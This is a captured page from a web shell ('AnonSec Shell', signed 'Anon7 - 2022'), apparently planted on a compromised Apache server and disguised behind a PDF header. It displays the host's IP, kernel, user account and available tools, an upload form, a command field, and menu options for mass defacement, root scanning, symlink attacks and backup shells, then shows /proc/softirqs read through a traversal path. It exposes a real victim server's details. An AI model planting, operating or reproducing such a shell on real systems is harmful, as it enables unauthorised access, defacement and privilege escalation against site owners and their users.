%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2094/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2094/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22733269  147271963   53114262   29797096   27769116   29621716   96429303   28234871
      NET_TX:        549        779        772        751        939        794        879     506517
      NET_RX:   26289146   26126311  140626009   41805606  117786019   44414571   25889533   45735403
       BLOCK:    3683753    5221758    4616048    4417582    4414209    4568268    4576380    4332325
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2822900    2849407    3001715    3091185    2929332    3880551    3255599    3947493
       SCHED:   37253911   83932009   46989829   37119128   35464388   37143144   61261734   36200486
     HRTIMER:       2560       1820       3261       6947      18282       5606       4196       5496
         RCU:   96434599  140412427  117601131  109137528  104747464  103986478  117352029  101175556

Anon7 - 2022
AnonSec Team